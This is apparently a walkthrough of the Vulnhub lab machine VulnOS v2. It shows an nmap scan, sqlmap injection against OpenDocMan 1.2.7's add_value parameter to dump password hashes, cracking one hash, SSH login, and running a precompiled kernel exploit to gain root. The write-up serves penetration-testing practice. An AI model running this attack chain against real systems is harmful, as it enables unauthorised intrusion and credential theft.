This is another writeup for a VM from Vulnhub, this one is by c4b3rw0lf.

Lets scan it:

_ nmap -sS -T4 -A -p-

So there is ssh, a webserver and a IRC server.

On the webserver we get a link to /jabc, I spider this site, browse around a bit, and find something interesting in /jabc/?q=node/8

<p><span style="color:#000000">For security reasons, this section is hidden.</span></p>
<p><span style="color:#000000">For a detailed view and documentation of our products, please visit our documentation platform at /jabcd0cs/ on the server. Just login with guest/guest</span></p>

We follow along to /jabcd0cs/

Here we find OpenDocMan 1.2.7, seeing the copyright for this version only goes to 2013 I go to exploit db to see if there are any exploits.


So there is SqL-injection possible in the add_value parameter, I fire sqlmap and it and it gets some nice results.

sqlmap -u ''
-p add_value -D jabcd0cs --dump

We get the hash for the webmin user.

Database: jabcd0cs
Table: odm_user
[3 entries]
| id | phone        | Email              | username     | password                                 | last_name | first_name | department | pw_reset_code |

| 2  | 555 5555555  | guest@example.com  | guest        | 084e0343a0486ff05530df6c705c8bb4 (guest) | guest     | guest      | 2          | NULL          |
| 3  | 555-555-0199 | winter@example.com | Peter+Winter | 3d5bfcc2c4c3101c754087120572aaf7         | Winter    | Peter      | 1          | NULL          |

I paste this hash into the google and get back the plaintext.

result: webmin1980

We can ssh in as this user.

ssh webmin@                                                                                                                                                                                                 ⏎
webmin@'s password:

I get a shell on the server and do some recon, after not finding anything for a while I notice:

webmin@VulnOSv2:~$ uname -a
Linux VulnOSv2 3.13.0-24-generic #47-Ubuntu SMP Fri May 2 23:31:42 UTC 2014 i686 i686 i686 GNU/Linux

I go to kernel-exploits to check if this kernel is vulnerable to anything, and it is! There is even a precompiled exploit for us.


I copy it into webmins hope directory and...

webmin@VulnOSv2:~$ chmod +x ofs_32
webmin@VulnOSv2:~$ ./ofs_32

Hello and welcome.
You successfully compromised the company "JABC" and the server completely !!
Congratulations !!!
Hope you enjoyed it.

What do you think of A.I.?

Good challenge, I liked exploring the sites looking for vulns, thanks to Vulnhub for hosting and thanks to c4b3rw0lf for creating it!
